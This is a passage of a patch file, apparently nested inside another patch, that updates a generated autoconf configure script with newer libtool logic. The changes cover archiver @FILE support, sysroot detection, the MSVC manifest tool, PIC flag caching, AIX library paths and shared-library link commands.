+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6276,7 +6534,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6295,6 +6553,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6306,25 +6568,20 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
+
+
+
+@@ -6335,6 +6592,63 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
+
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+@@ -6675,8 +6989,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6712,6 +7026,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6753,6 +7068,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6764,7 +7091,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6790,8 +7117,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6801,8 +7128,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6839,6 +7166,14 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
+
+
+
+@@ -6857,6 +7192,47 @@ fi
+
+
+
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
++
++
+
+
+
+@@ -7066,6 +7442,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7629,6 +8122,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8182,8 +8677,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8349,6 +8842,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8411,7 +8910,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8468,13 +8967,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8535,6 +9038,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8885,7 +9393,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8984,12 +9493,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -9003,8 +9512,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -9022,8 +9531,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9069,8 +9578,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9200,7 +9709,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9213,22 +9728,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9240,7 +9762,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9253,22 +9781,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9313,20 +9848,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9387,7 +9965,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
